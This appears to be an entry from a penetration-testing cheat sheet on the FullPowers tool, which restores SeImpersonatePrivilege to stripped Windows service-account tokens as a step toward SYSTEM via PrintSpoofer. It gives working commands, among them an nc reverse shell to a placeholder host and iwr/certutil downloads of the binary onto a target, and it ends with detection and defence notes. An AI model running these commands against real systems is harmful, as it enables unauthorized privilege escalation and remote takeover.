FullPowers (restore token privileges)

FullPowers recovers the default privileges of a service account whose token arrives stripped down. Accounts like LOCAL SERVICE or NETWORK SERVICE do have SeImpersonatePrivilege by design, but when a process starts outside its usual context (for example, a webshell spawned by Apache running as LOCAL SERVICE) Windows hands it a token with a reduced subset of privileges. A whoami /priv in that shell shows only a few (SeChangeNotifyPrivilege, SeCreateGlobalPrivilege…) and, crucially, SeImpersonatePrivilege is missing, which is exactly the one that enables the Potato family of techniques.

FullPowers forces the creation of a scheduled task under the full account and returns a process with all the privileges the account should have:

whoami /priv                                     # before: SeImpersonatePrivilege is missing
.\FullPowers.exe                                  # opens a cmd with the privileges restored
.\FullPowers.exe -c "C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd"   # direct reverse shell
.\FullPowers.exe -c "powershell -ep bypass"       # hand back a PowerShell with the full token
.\FullPowers.exe -z -c "cmd /c whoami /priv"      # -z: use WMI if the Task Scheduler is blocked

Download the binary onto the target:

iwr http://<lhost>/FullPowers.exe -OutFile C:\Windows\Temp\FullPowers.exe
certutil -urlcache -f http://<lhost>/FullPowers.exe C:\Windows\Temp\FullPowers.exe

Its output confirms each step: it creates a dummy thread, a scheduled task and ends with Got new token! Privilege count: 7 and CreateProcessAsUser() OK, opening a new shell. A follow-up whoami /priv now shows SeImpersonatePrivilege = Enabled.

Why it matters. This is the step that unblocks escalation: without SeImpersonatePrivilege, PrintSpoofer or the rest of the Potato family have nothing to abuse. FullPowers does not itself escalate to SYSTEM; it restores the privilege that the Potato technique then exploits. The typical chain is: webshell as LOCAL SERVICE → FullPowers → PrintSpoofer → SYSTEM.

Caveat. It only applies to service accounts that should already have those privileges (LOCAL SERVICE, NETWORK SERVICE); it grants nothing new to a regular user. It relies on the Task Scheduler.

How to detect it. FullPowers restores the privilege by creating a scheduled task with the full account, so the signature is an ephemeral Event ID 4698 (a scheduled task was created) from a web process (w3wp/httpd) running as LOCAL SERVICE/NETWORK SERVICE, highly anomalous. It is followed by the usual Potato pattern: a child with SeImpersonatePrivilege restored and then SYSTEM (see SeImpersonate and potatoes). The freshly dropped FullPowers.exe binary is flagged by EDR/AV. The chain 4698 from a service account → a process with expanded privileges is the signal.

Defence. Minimize services running as accounts with SeImpersonatePrivilege, isolate web apps under dedicated least-privilege accounts and watch for anomalous scheduled-task creation.